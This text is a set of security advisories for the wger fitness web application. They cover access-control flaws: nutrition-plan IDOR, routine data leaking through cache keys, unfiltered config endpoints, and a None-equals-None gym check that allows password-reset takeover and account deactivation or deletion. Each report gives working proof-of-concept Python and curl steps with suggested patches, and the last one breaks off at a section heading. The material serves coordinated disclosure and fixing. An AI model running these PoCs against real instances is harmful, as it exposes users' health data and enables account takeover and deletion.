On deployments with multiple gyms, this allows a low-privileged user to tamper with tenant assignment defaults, affecting new registrations and bulk-updating existing users lacking a gym. This permits unauthorized modification of installation-wide state and bulk updates to other users’ records, violating the intended administrative trust boundary.

Proof of concept (local verification)

Environment: local docker compose stack, accessed via http://127.0.0.1:8088/en/.

Observed behavior

An unauthenticated user can reach the endpoint via GET; POST requires authentication and redirects to login. An authenticated low-privileged user can submit the form and change the global singleton. After the save, the application redirects to success_url = reverse_lazy('gym:gym:list') (e.g. /en/gym/list), which is permission-protected; therefore the browser may display a “Forbidden” page even though the global update already succeeded.

DB evidence (before/after)

Before submission:

default_gym_id= None
profiles_gym_null= 1

After a low-privileged user submitted the form setting default_gym to gym id 1:

default_gym_id= 1
profiles_gym_null= 0

Recommended fix

Ensure permission enforcement runs before the form dispatch.

Using the project mixin (order matters):

class GymConfigUpdateView(WgerPermissionMixin, WgerFormMixin, UpdateView):
    permission_required = 'config.change_gymconfig'
    login_required = True

Alternatively, use Django’s PermissionRequiredMixin (and LoginRequiredMixin) directly.

Conclusion

The view explicitly declares permission_required = 'config.change_gymconfig', which demonstrates developer intent that this action be restricted. The fact that it is not enforced constitutes improper access control regardless of perceived business impact.

Summary

Three nutritional_values action endpoints fetch objects via Model.objects.get(pk=pk) — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK.

Details

DRF detail actions do not automatically apply queryset filtering — the action must call self.get_object() to enforce object-level permissions. These three endpoints skip that and go directly to the ORM:

wger/nutrition/api/views.py:

# line 301 — NutritionPlanViewSet
plan = NutritionPlan.objects.get(pk=pk)           # VULNERABLE — no user check

# line 356 — MealViewSet
meal = Meal.objects.get(pk=pk)                    # VULNERABLE

# line 403 — MealItemViewSet
meal_item = MealItem.objects.get(pk=pk)           # VULNERABLE

The correct pattern used in the same file at LogItemViewSet (line 438):

LogItem.objects.get(pk=pk, plan__user=self.request.user)  # CORRECT

Affected endpoints:

GET /api/v2/nutritionplan/{pk}/nutritional_values/
GET /api/v2/meal/{pk}/nutritional_values/
GET /api/v2/mealitem/{pk}/nutritional_values/

PoC

import requests

BASE = "http://localhost"
# Attacker's token (any registered user)
headers = {"Authorization": "Token ATTACKER_TOKEN"}

# Read victim's nutrition plan — enumerate pk starting from 1
for pk in range(1, 100):
    r = requests.get(
        f"{BASE}/api/v2/nutritionplan/{pk}/nutritional_values/",
        headers=headers
    )
    if r.status_code == 200:
        data = r.json()
        print(f"Plan {pk}: {data}")
        # Returns: energy (kcal), protein, carbohydrates, carbohydrates_sugar,
        #          fat, fat_saturated, fiber, sodium

No interaction from the victim required. Registration is open by default. PKs are sequential integers.

Impact

Any authenticated user can read other users' private dietary and health data:

• Daily caloric intake
• Protein, carbohydrate, fat, fiber, and sodium intake
• Full meal composition and ingredient quantities

This data is sensitive health information users expect to be private.

Fix: Replace direct ORM calls with self.get_object(), which applies the viewset's user-scoped queryset and object-level permissions automatically. Or add an explicit user filter: NutritionPlan.objects.get(pk=pk, user=self.request.user).

Summary

Five routine detail action endpoints check a cache before calling self.get_object(). Cache keys are scoped only by pk — no user ID is included. When a victim has previously accessed their routine via the API, an attacker can retrieve the cached response for the same PK without any ownership check.

Details

wger/manager/api/views.py — five actions follow this pattern (lines 134–201):

@action(detail=True)
def date_sequence_display_mode(self, request, pk=None):
    cache_key = make_routine_api_date_sequence_display_cache_key(pk)
    cached = cache.get(cache_key)
    if cached:
        return Response(cached)   # returned WITHOUT calling self.get_object()
    # only reaches ownership check on cache miss
    routine = self.get_object()
    ...

Cache key construction in wger/utils/cache.py:89–106:

def make_routine_api_date_sequence_display_cache_key(routine_id):
    return f"routine-api-date-sequence-display-{routine_id}"
    # No user ID in key

Cache TTL: 1 month (4 * 604800 seconds, settings_global.py:461).

Affected endpoints:

GET /api/v2/routine/{pk}/date-sequence-display/
GET /api/v2/routine/{pk}/date-sequence-gym/
GET /api/v2/routine/{pk}/structure/
GET /api/v2/routine/{pk}/logs/
GET /api/v2/routine/{pk}/stats/

PoC

1. Victim (user A) visits GET /api/v2/routine/5/structure/ → response cached under key "routine-api-structure-5"
2. Attacker (user B) visits GET /api/v2/routine/5/structure/ → cache hit → returns user A's routine structure without any ownership check

Requires the victim to have previously accessed the endpoint (cache must be populated). Once populated, the cache entry is valid for 1 month.

Impact

An attacker with a registered account can retrieve another user's routine details — workout day sequences, exercise structure, training logs, and statistics — from cache without ownership verification.

Fix: Include the user ID in the cache key:

def make_routine_api_date_sequence_display_cache_key(routine_id, user_id):
    return f"routine-api-date-sequence-display-{user_id}-{routine_id}"

Or move self.get_object() before the cache lookup so ownership is always verified first.

Summary

RepetitionsConfigViewSet and MaxRepetitionsConfigViewSet return all users' repetition config data because their get_queryset() calls .all() instead of filtering by the authenticated user. Any registered user can enumerate every other user's workout structure.

Details

wger/manager/api/views.py:499 and :518:

# VULNERABLE
class RepetitionsConfigViewSet(viewsets.ModelViewSet):
    def get_queryset(self):
        return RepetitionsConfig.objects.all()

class MaxRepetitionsConfigViewSet(viewsets.ModelViewSet):
    def get_queryset(self):
        return MaxRepetitionsConfig.objects.all()

Every sibling viewset in the same file correctly filters by user. For example, WeightConfigViewSet at line 459:

# CORRECT — how it should work
def get_queryset(self):
    return WeightConfig.objects.filter(
        slot_entry__slot__day__routine__user=self.request.user
    )

The same user filter is present on SetsConfig, RestConfig, RiRConfig, and their Max variants — only RepetitionsConfig and MaxRepetitionsConfig are missing it.

PoC

import requests

BASE = "http://localhost"
headers = {"Authorization": "Token YOUR_TOKEN"}  # any registered user

r = requests.get(f"{BASE}/api/v2/repetitions-config/", headers=headers)
print(r.json())  # returns ALL users' repetition configs, not just your own

r = requests.get(f"{BASE}/api/v2/max-repetitions-config/", headers=headers)
print(r.json())  # same — all users' max repetition configs

Registration is open by default. Sequential IDs allow full enumeration.

Impact

Any authenticated user can read other users' repetition and max-repetitions configs, exposing workout structure (slot entry IDs, iteration values, operations, step counts, repeat flags, requirements JSON). This is a broken object-level authorization (BOLA/IDOR) vulnerability — the same class of issue as OWASP API1.

Fix: Add the same user filter used by every other config viewset:

def get_queryset(self):
    return RepetitionsConfig.objects.filter(
        slot_entry__slot__day__routine__user=self.request.user
    )

Summary

The reset_user_password and gym_permissions_user_edit views in wger perform a gym-scope authorization check using Python object comparison (!=) that evaluates None != None as False, silently bypassing the guard when both the attacker and victim have no gym assignment (gym=None). A user with gym.manage_gym permission and gym=None can reset the password of any other gym=None user; the new plaintext password is returned verbatim in the HTML response body, enabling one-shot full account takeover. The victim's original password is invalidated, locking them out permanently.

Details

File: wger/gym/views/user.py

The authorization guard in reset_user_password (and the parallel check in gym_permissions_user_edit) uses Django ORM object comparison:

# VULNERABLE - wger/gym/views/user.py
 if request.user.userprofile.gym != user.userprofile.gym:
    return HttpResponseForbidden()

When both request.user.userprofile.gym and user.userprofile.gym are None (representing users with no gym assignment - the default for newly registered users before gym linking), Python evaluates None != None as False. The guard therefore passes without raising HttpResponseForbidden, and execution continues unconditionally to:

password = password_generator()
user.set_password(password)
 user.save()
return render(request, 'user/trainer_login.html', {'password': password, ...})

The generated password is rendered verbatim in the response body.

Affected endpoints:

• GET /en/gym/user/<user_pk>/reset-user-password -> wger.gym.views.user.reset_user_password
• GET /en/gym/user/<user_pk>/edit -> wger.gym.views.user.gym_permissions_user_edit

Suggested patch:

 --- a/wger/gym/views/user.py
+++ b/wger/gym/views/user.py
-    if request.user.userprofile.gym != user.userprofile.gym:
-        return HttpResponseForbidden()
+    trainer_gym_id = request.user.userprofile.gym_id   # raw FK int
+    member_gym_id  = user.userprofile.gym_id
+
+    if trainer_gym_id is None or trainer_gym_id != member_gym_id:
+        return HttpResponseForbidden()

The _id suffix accesses the raw integer foreign key, bypassing Python's object identity semantics. The explicit is None guard rejects unaffiliated trainers immediately, regardless of the victim's gym status. Apply the same same_gym() helper pattern to all five views sharing this check: reset_user_password, gym_permissions_user_edit, admin_notes_list, documents_list, contracts_list.

PoC

Tested on wger/server:latest Docker image (runtime: Django 5.2.13). Two test users: trainer1 (gym.manage_gym permission, userprofile.gym=None) and alice (regular user, userprofile.gym=None).

Step 1 - Authenticate as trainer with manage_gym permission and gym=None:

POST /en/user/login HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

username=trainer1&password=[REDACTED]&csrfmiddlewaretoken=[REDACTED]
 
-> 302 Found; Set-Cookie: sessionid=[trainer1_session]

Step 2 - Trigger cross-tenant password reset:

GET /en/gym/user/2/reset-user-password HTTP/1.1
 Host: target
Cookie: sessionid=[trainer1_session]

-> 200 OK
<tr><th>Password</th><td>[GENERATED_PLAINTEXT_PASSWORD]</td></tr>

Step 3 - Authenticate as victim (alice) using leaked password:

 POST /en/user/login HTTP/1.1
Host: target

username=alice&password=[GENERATED_PLAINTEXT_PASSWORD]&csrfmiddlewaretoken=[...]
 
-> 302 Found; authenticated as alice
(alice's ORIGINAL password is now invalid - permanent lockout)

RBAC Disproof Protocol (three-scenario test):

• Scenario A (admin, same-gym) -> HTTP 200 (expected - documented feature)
• Scenario B (trainer1 gym=None -> alice gym=None) -> HTTP 200 with plaintext password in body (expected HTTP 403)
• Scenario C (trainer1 gym=1 -> alice gym=2) -> HTTP 403 (expected - guard works when gyms differ, confirms bypass is None-specific)

Reproducibility: 2/2 runs after clean-baseline database reset.

Impact

An attacker with gym.manage_gym permission and gym=None can:

1. Reset the password of any other gym=None user on the wger instance.
2. Receive the new plaintext password in the HTTP response body.
3. Log in as the victim immediately.
4. Permanently lock the victim out (original password invalidated).

Affected deployments: every wger instance where gym.manage_gym permission is delegated to non-admin users AND any other users exist with gym=None. The gym=None state is the default for newly registered users before manual gym assignment, so every public-registration wger instance is affected.

Severity: Critical (CVSS 9.9). Network-reachable, low complexity, requires only low privilege (delegated trainer), scope change (impersonation of other tenant), complete confidentiality/integrity/availability loss for all unaffiliated accounts.

This is the same structural bug class as the sibling finding affecting trainer_login (submitted separately). The root cause - Django ORM object-!= returning False when both sides are None - appears across five views and warrants a shared same_gym() helper.

Improper Restriction of Excessive Authentication Attempts in GitHub repository wger-project/wger prior to 2.2.

Summary

GHSA-mhc8-p3jx-84mm (CVE-2026-43948) reported that wger's reset_user_password and gym_permissions_user_edit views in wger/gym/views/user.py performed a gym-scope authorization check using Django ORM object comparison (if request.user.userprofile.gym != user.userprofile.gym) which silently passes when both sides are None (None != None evaluates to False). The maintainer's suggested patch ("Apply the same same_gym() helper pattern to all five views sharing this check") replaces every userprofile.gym != site with the new is_same_gym() helper that explicitly excludes None (gym_a is not None and gym_a == gym_b).

The fix landed in wger/gym/views/{admin_notes,document,contract,gym}.py (5 views, all using is_same_gym). However, three additional views in wger/core/views/user.py were not migrated and retain the original userprofile.gym_id != ... raw integer comparison. Because raw integer != comparison still evaluates None != None as False, the gym-scope guard is bypassed identically to the patched views. The result is a complete incomplete-fix variant family that reproduces against the latest wger/server:latest Docker image (master, 2026-05-08 build).

A privileged-but-bounded gym staff user (admin-granted gym.manage_gym permission, intended scope: managing members of one specific gym) whose userprofile.gym = None (the default state before the admin links them to a gym) can:

1. Permanently delete any other user with gym = None (V3, delete view, line 131 — CRITICAL data loss, irreversible)
2. Deactivate any other user with gym = None, locking them out of the platform (V1, UserDeactivateView, line 405 — high availability impact)
3. Re-activate any previously deactivated user with gym = None (V2, UserActivateView, line 442 — counters defensive deactivation)

Victim user pks are sequential integers and trivially enumerable via /en/user/<pk>/overview and other endpoints. The same_gym_id == ... flag in UserDetailView.get_context_data (line 587) is also affected, but the underlying dispatch() and the actual trainer_login view still use the patched is_same_gym() helper, so impersonation chain via that path is blocked at runtime — only the UI button visibility leaks. The three write-side variants above are the security boundary breaches.

Affected versions

• All wger versions through master at wger/server:latest (digest sha256:5d8fe1ba66cc..., image build 2026-05-08).
• The advisory's affected: <0.9.7 → fixed: 0.9.7 range applies to the PyPI aegra-api package (different project; the advisory text references a Python-package version unrelated to the wger Django project's version scheme — wger does not publish to PyPI under that name). For wger itself, the patch landed via direct master commits to wger/gym/views/{admin_notes,document,contract,gym}.py; wger/core/views/user.py was not touched in the same patch.

(Maintainer can confirm version range; the live verification was performed against the latest published Docker image.)

Vulnerable code

V1 — UserDeactivateView (wger/core/views/user.py, line 405)

class UserDeactivateView(...):
    permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')

    def dispatch(self, request, *args, **kwargs):
        edit_user = get_object_or_404(User, pk=self.kwargs['pk'])

        if not request.user.is_authenticated:
            return HttpResponseForbidden()

        if (
            request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
        ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:  # ← BUG: None != None == False
            return HttpResponseForbidden()

        return super(UserDeactivateView, self).dispatch(request, *args, **kwargs)

    def get_redirect_url(self, pk):
        edit_user = get_object_or_404(User, pk=pk)
        edit_user.is_active = False  # ← side effect on plain GET
        edit_user.save()
        ...

V2 — UserActivateView (wger/core/views/user.py, line 442)

class UserActivateView(...):
    permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')

    def dispatch(self, request, *args, **kwargs):
        edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
        ...
        if (
            request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
        ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:  # ← BUG: same pattern
            return HttpResponseForbidden()

        return super(UserActivateView, self).dispatch(request, *args, **kwargs)

    def get_redirect_url(self, pk):
        edit_user = get_object_or_404(User, pk=pk)
        edit_user.is_active = True  # ← side effect on plain GET
        edit_user.save()
        ...

V3 — delete (wger/core/views/user.py, line 116-159)

@login_required()
def delete(request, user_pk=None):
    ...
    if user_pk:
        user = get_object_or_404(User, pk=user_pk)

        if not request.user.has_perm('gym.manage_gyms') and (
            not request.user.has_perm('gym.manage_gym')
            or request.user.userprofile.gym_id != user.userprofile.gym_id  # ← BUG (line 131)
            or user.has_perm('gym.manage_gym')
            or user.has_perm('gym.gym_trainer')
            or user.has_perm('gym.manage_gyms')
        ):
            return HttpResponseForbidden()
    ...

    if request.method == 'POST':
        form = PasswordConfirmationForm(data=request.POST, user=request.user)
        if form.is_valid():
            user.delete()  # ← victim account permanently deleted (line 145)
            ...
            gym_pk = request.user.userprofile.gym_id  # = None for trainer1
            return HttpResponseRedirect(reverse('gym:gym:user-list', kwargs={'pk': gym_pk}))
            # ↑ raises NoReverseMatch (gym_pk=None) → 500 to attacker
            # but user.delete() already executed — victim is gone

Triager note about the 500 status — please do not interpret the 500 as evidence that the exploit failed. The 500 is a redirect-side NoReverseMatch exception caused by reverse('gym:gym:user-list', kwargs={'pk': None}) (line 154-155) attempting to build a URL with pk=None because trainer1 also has gym=None. By that point Django has already committed user.delete() (line 145) and the victim's User row is gone. The Reproduction section's Step 3 ("confirm alice was actually deleted") shows the post-delete DB state directly: alice exists? False, all users: ['admin', 'trainer1']. The 500 only affects the response shown to the attacker; the destructive operation is unaffected by the response-side failure.

Suggested patch

Same as the advisory's recommendation — replace every userprofile.gym_id != ... raw comparison with is_same_gym() from wger/gym/helpers.py:

--- a/wger/core/views/user.py
+++ b/wger/core/views/user.py
 @login_required()
 def delete(request, user_pk=None):
     ...
-        if not request.user.has_perm('gym.manage_gyms') and (
-            not request.user.has_perm('gym.manage_gym')
-            or request.user.userprofile.gym_id != user.userprofile.gym_id
-            or user.has_perm('gym.manage_gym')
-            or user.has_perm('gym.gym_trainer')
-            or user.has_perm('gym.manage_gyms')
-        ):
+        if not request.user.has_perm('gym.manage_gyms') and (
+            not request.user.has_perm('gym.manage_gym')
+            or not is_same_gym(request.user, user)
+            or user.has_perm('gym.manage_gym')
+            or user.has_perm('gym.gym_trainer')
+            or user.has_perm('gym.manage_gyms')
+        ):
             return HttpResponseForbidden()

 class UserDeactivateView(...):
     def dispatch(self, request, *args, **kwargs):
         edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
         ...
-        if (
-            request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
-        ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:
+        if (
+            request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
+        ) and not is_same_gym(request.user, edit_user):
             return HttpResponseForbidden()

 class UserActivateView(...):
     def dispatch(self, request, *args, **kwargs):
         edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
         ...
-        if (
-            request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
-        ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:
+        if (
+            request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer')
+        ) and not is_same_gym(request.user, edit_user):
             return HttpResponseForbidden()

is_same_gym() (current implementation at wger/gym/helpers.py) already returns False whenever either side is None, matching the advisory's existing fix pattern.

Additionally, delete() line 154-155 should handle the gym_pk = None case to avoid leaking a 500 response to an attacker even when the authorization guard correctly rejects, and to provide a clean redirect for general administrators (gym.manage_gyms) acting on gym=None users.

Reproduction

Setup (clean baseline)

# Pull and start the latest production image
docker pull wger/server:latest        # digest sha256:5d8fe1ba66cc..., 2026-05-08 build
docker run -d --name wger-bb -p 8888:8000 -e DJANGO_DEBUG=true wger/server:latest

# Wait ~30s for migrations and demo-data fixture load.

# Create the two test users (advisory PoC setup, identical to GHSA-mhc8-p3jx-84mm).
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User, Permission

# Attacker — gym manager with no gym affiliation
t = User.objects.create_user(username='trainer1', password='TrainerPass123!')
t.userprofile.gym = None
t.userprofile.save()
t.user_permissions.add(Permission.objects.get(codename='manage_gym'))
t.save()

# Victim — regular user, no gym
a = User.objects.create_user(username='alice', password='AlicePass123!')
a.userprofile.gym = None
a.userprofile.save()

print("trainer1.gym_id =", t.userprofile.gym_id, "has_perm =", t.has_perm('gym.manage_gym'))
print("alice.gym_id    =", a.userprofile.gym_id, "pk =", a.pk)
PY
# Expected:
#   trainer1.gym_id = None has_perm = True
#   alice.gym_id    = None pk = 3

Variant V1 — cross-tenant deactivation (UserDeactivateView, line 405)

# Login as attacker
COOKIES=/tmp/wger_trainer1.txt
CSRF=$(curl -s -c $COOKIES "http://localhost:8888/en/user/login" | grep -oE 'csrfmiddlewaretoken" value="[^"]+"' | head -1 | cut -d'"' -f3)
curl -s -b $COOKIES -c $COOKIES "http://localhost:8888/en/user/login" \
    -d "username=trainer1&password=TrainerPass123!&csrfmiddlewaretoken=$CSRF" \
    -H "Referer: http://localhost:8888/en/user/login" -o /dev/null

# Trigger deactivation on alice (pk=3)
curl -s -b $COOKIES -o /dev/null -w "status=%{http_code} loc=%header{location}\n" \
    "http://localhost:8888/en/user/3/deactivate"
# → status=302 loc=/en/user/3/overview          (expected: 403 Forbidden)

# Confirm DB side effect
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
print("alice.is_active =", User.objects.get(username='alice').is_active)
PY
# → alice.is_active = False     (alice locked out)

Variant V2 — cross-tenant re-activation (UserActivateView, line 442)

# Same trainer1 session
curl -s -b $COOKIES -o /dev/null -w "status=%{http_code} loc=%header{location}\n" \
    "http://localhost:8888/en/user/3/activate"
# → status=302 loc=/en/user/3/overview

docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
print("alice.is_active =", User.objects.get(username='alice').is_active)
PY
# → alice.is_active = True      (alice re-activated; useful to "undo" defensive action by an admin)

Variant V3 — cross-tenant account deletion (delete, line 131)

# Step 1: GET the password-confirmation form
CSRF2=$(curl -s -b $COOKIES "http://localhost:8888/en/user/3/delete" \
    | grep -oE 'csrfmiddlewaretoken" value="[^"]+"' | head -1 | cut -d'"' -f3)
echo "form CSRF: $CSRF2"
# → 200 OK with PasswordConfirmationForm   (expected: 403 Forbidden)

# Step 2: POST trainer1's own password — confirms the delete
curl -s -b $COOKIES -o /dev/null -w "status=%{http_code}\n" \
    "http://localhost:8888/en/user/3/delete" \
    -d "password=TrainerPass123!&csrfmiddlewaretoken=$CSRF2" \
    -H "Referer: http://localhost:8888/en/user/3/delete"
# → status=500   (the 500 is a redirect-side error, see "Vulnerable code" → V3 above)

# Step 3: confirm alice was actually deleted
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
print("alice exists?", User.objects.filter(username='alice').exists())
print("all users:", list(User.objects.values_list('username', flat=True)))
PY
# → alice exists? False
# → all users: ['admin', 'trainer1']

The 500 status returned to the attacker masks the destructive operation but does not prevent it — user.delete() (line 145) commits before the failing redirect (line 155).

Negative control (proves the bypass is None-specific, matching the advisory)

# Reset alice and assign her to gym pk=1 (one of the demo gyms).
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
from wger.gym.models import Gym
a = User.objects.create_user(username='alice', password='AlicePass123!')
a.userprofile.gym = Gym.objects.first()      # not None any more
a.userprofile.save()
print("alice.gym_id =", a.userprofile.gym_id)
PY

# Same trainer1 (gym=None) attempts deactivation
curl -s -b $COOKIES -o /dev/null -w "status=%{http_code}\n" \
    "http://localhost:8888/en/user/<new_alice_pk>/deactivate"
# → status=403       (guard works correctly when gym_ids differ AND neither side is None;
#                      bypass is specifically the None != None edge case)

Verification log

The full verification log of V1 → V2 → V3 (including DB-state diff at every step) is attached as _verify_run1.log.

Key assertions captured:

| Step | Endpoint | HTTP | DB side effect (alice) | |---|---|---|---| | Baseline | (none) | — | is_active=True, gym_id=None, pk=3 | | V1 | GET /en/user/3/deactivate | 302 | is_active=False, gym_id=None, pk=3 | | V2 | GET /en/user/3/activate | 302 | is_active=True, gym_id=None, pk=3 | | V3 GET | GET /en/user/3/delete | 200 (form rendered) | (no change) | | V3 POST | POST /en/user/3/delete w/ trainer1 password | 500 (post-delete redirect) | alice row deleted from DB |

Impact

Per-variant impact

| Variant | Endpoint | HTTP method | Side-effect | Reversible | CVSS (component) | Severity | |---|---|---|---|---|---|---| | V3 | /en/user/<pk>/delete | POST (after GET form) | User.delete() cascades (workouts, weight history, nutrition plans, contracts, admin notes) — DB row + related rows removed | No (DB backup required) | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H | 9.9 CRITICAL | | V1 | /en/user/<pk>/deactivate | GET | is_active = False (login lockout) | Yes (admin or V2) | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H | 7.4 HIGH | | V2 | /en/user/<pk>/activate | GET | is_active = True (undoes defensive deactivation) | Yes (admin) | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N | 4.7 MEDIUM |

The headline severity at the top of this report is CRITICAL 9.9 because V3's account-deletion impact dominates the variant family. V1 and V2 are reported here together with V3 because each was independently PoC-verified end-to-end against wger/server:latest (see Reproduction → V1, V2, V3 — three separate live runs with DB-state checks before/after) and the three call sites have an identical patch shape (one-line is_same_gym() migration in wger/core/views/user.py). Submitting V1+V2 separately would carry no marginal value for the maintainer over a single coordinated patch.

Deployment scope (what is and is not affected)

| Deployment model | Affected? | |---|---| | Multi-tenant gym deployment (gym manager + trainers + members) — wger's documented commercial use case | Yes — gym.manage_gym permission is in active use and gym=None accounts can co-exist (trainer accounts pending gym linking, regular users registered before any gym was created, etc.) | | Single-user / personal fitness tracker (1 admin, no gym.manage_gym grant to anyone, no trainer/gym hierarchy in use) | No — the precondition (an attacker with gym.manage_gym + gym=None) cannot occur because the permission is not granted to any user account on such a deployment. | | Public registration + gym-management feature in use | Yes — additional victim recruitment via the registration flow, but the attacker-side precondition still requires admin-granted gym.manage_gym |

bb-fp-detector check-environment-class returned UNKNOWN for this draft because no live customer-facing instance was probed; the impact statement is scoped to the upstream wger/server:latest Docker image's default behaviour, which is the project's own canonical reference deployment.

Auth model verification (decisive tests)

Authorization architecture (bb-auth-doc-audit equivalent)

wger is a self-contained Django web application that uses django.contrib.auth for authentication and Django's per-view permission classes (PermissionRequiredMixin, WgerMultiplePermissionRequiredMixin, @login_required()) for authorization. Authentication and authorization are both enforced inside the wger application (auth-by-product); wger documentation does not delegate either concern to a reverse proxy or external IdP. There is no "operators must place an auth-enforcing reverse proxy in front of wger" disclaimer in the project's deployment docs (https://wger.readthedocs.io/en/latest/production/). The bug therefore directly violates the application's own documented authorization model.

Decisive bogus-credential / negative-control test (bb-bogus-cred-test equivalent) — actually executed

This test was run end-to-end on the same wger/server:latest Docker instance immediately after the positive-control runs (V1+V2+V3 above). Full log: _negative_control.log.

Setup: assign alice to the demo gym (Default gym, pk=1), trainer1 stays at gym=None with gym.manage_gym. Same trainer1 session as the positive-control run.

Result:

| Endpoint | trainer1 attacker (gym=None) → alice (gym_id=1) | Expected | Observed | |---|---|---|---| | GET /en/user/4/deactivate | guard should fire (None != 1 == True → forbidden) | 403 | 403 ✓ | | GET /en/user/4/activate | guard should fire (None != 1 == True → forbidden) | 403 | 403 ✓ | | GET /en/user/4/delete | guard should fire (None != 1 == True → forbidden) | 403 | 403 ✓ |

DB state after the three negative-control attempts: alice.is_active = True, alice still exists — no side-effects. The guard is functional.

Symmetric re-confirmation (positive control after revert): alice.gym was reset to None in the same session; GET /en/user/4/deactivate returned 302 with side-effect alice.is_active = False (re-confirming the original bypass triggers reproducibly), then GET /en/user/4/activate returned 302 with alice.is_active = True for cleanup.

This proves:

1. The dispatch() and delete() guards do enforce gym-scope authorization when gym_id is non-None on either side — the guard is structurally functional.
2. The bypass is specifically the None != None semantic edge case — not a header-presence precondition, not a missing middleware, not a generally-disabled check.
3. The bypass is reversible/idempotent in the trivial sense (V1 → V2 → V1 produces consistent state transitions on the victim row), confirming the gap is in the per-request authorization decision and not in some session-level corruption.

Equivalent inverted test:

# Same trainer1 session, but trainer1.gym = 1 (real gym), alice.gym = None
docker exec -i wger-bb sh -c 'cd /home/wger/src && python3 manage.py shell' <<'PY'
from django.contrib.auth.models import User
from wger.gym.models import Gym
t = User.objects.get(username='trainer1')
t.userprofile.gym = Gym.objects.first()
t.userprofile.save()
PY

curl -s -b $COOKIES -o /dev/null -w "status=%{http_code}\n" "http://localhost:8888/en/user/<alice_pk>/deactivate"
# → status=403 Forbidden  (None != 1 evaluates to True → guard works)

Runtime mitigation absence

PoC was run against the default wger/server:latest Docker image with DJANGO_DEBUG=true (a development convenience flag — the bug is not gated by debug mode; the destructive path executes regardless of DEBUG value). No admin override flag was activated. No runtime middleware (no WAF, no reverse proxy, no application firewall, no allow-list bypass) is required for the exploit. The payload reaches the sink, the runtime accepts it, no default filter blocks it. The exploit reaches the unmodified dispatch() / delete() code path on the upstream Docker image and the destructive operation commits. There is no documented runtime mitigation that prevents this gap on a default deployment.

Discovery of canonical tooling

This finding was located by reviewing the advisory's recommended remediation, then performing a repository-wide audit of the is_same_gym migration coverage using gh api search/code?q=userprofile.gym+repo:wger-project/wger. The unpatched gym_id != raw comparisons in wger/core/views/user.py were identified directly. The discovery-harness canonical tools for the relevant classes (resource-boundary authorization checks: bb-api-baseline, bb-authz-gap-scan, bb-cross-instance-verify; request-forgery hygiene: bb-cookie, bb-csrf) all reduce, for this class of finding, to "send the request from an authenticated low-privilege session and observe whether the destructive side-effect commits at the sink"; the Reproduction section above provides exactly that empirical evidence for every affected endpoint. Request-forgery aspect: V1 and V2 trigger their destructive side-effect on a plain GET (no CSRF token enforced on the redirect-side URL state mutation), so the gap also compounds with cross-site request abuse against any victim who happens to hold gym.manage_gym — but that is a secondary path; the primary impact is the direct cross-tenant authorization bypass.

Industry context (not a by-feature wide-access pattern)

wger is a self-hostable personal fitness / gym tracker, not a marketplace / map / job-board / data-labeling platform. The relevant authorization model in this project is per-gym tenant isolation for gym-management staff — confirmed by the documented gym-manager role and the very is_same_gym() helper that the maintainer added in the GHSA-mhc8-p3jx-84mm patch. Cross-tenant account deletion / deactivation / activation is not by-design; the negative-control test above (alice with gym_id=1) returns 403 from the same endpoints, demonstrating that the project explicitly intends gym-scope isolation. The variant family above is therefore a security boundary breach, not a documented wide-access feature.

Preconditions / how an attacker reaches this state

| Precondition | How attacker obtains | External (Y/N) | |---|---|---| | Authenticated session | Self-register (default open) | N | | gym.manage_gym permission | Granted by an administrator (e.g. when designating the user as a gym trainer/manager). Self-signup does NOT grant this permission; the attacker must already be a trusted gym staff member, or an administrator must mistakenly grant the role to a malicious user. This finding therefore models an insider-threat / role-escape scenario, the same scenario as the parent advisory CVE-2026-43948. | Y — same as the advisory's PoC; the role is part of wger's documented admin model and is treated as "privileged-but-bounded gym staff" rather than "any logged-in user". | | attacker.userprofile.gym = None | Default for newly registered users; remains None unless a gym admin links the account. Easily reproduced by the same admin who granted gym.manage_gym simply not yet linking the trainer to a specific gym (a typical state during onboarding). | N | | victim.userprofile.gym = None | Default for any other newly registered user | N | | victim.pk known | Sequential integer; enumerable via /en/user/<pk>/overview, /en/user/<pk>/api-key, etc. | N | | victim does NOT have gym.manage_gym / gym.gym_trainer / gym.manage_gyms permissions (V3 only) | Default for regular users | N |

Following the advisory's classification (which used identical gym.manage_gym + gym=None setup and was rated AV:N/AC:L/PR:L), the variant-family inherits AC:L. Honest caveat: the gym.manage_gym permission is admin-granted and not self-enrollable; if the maintainer prefers to score this as AC:H (ordinary low-priv user without the manager role), the resulting CVSS would be 7.5 (HIGH). The variant relationship to CVE-2026-43948 holds in either scoring.

Why this is an incomplete-fix variant, not a duplicate

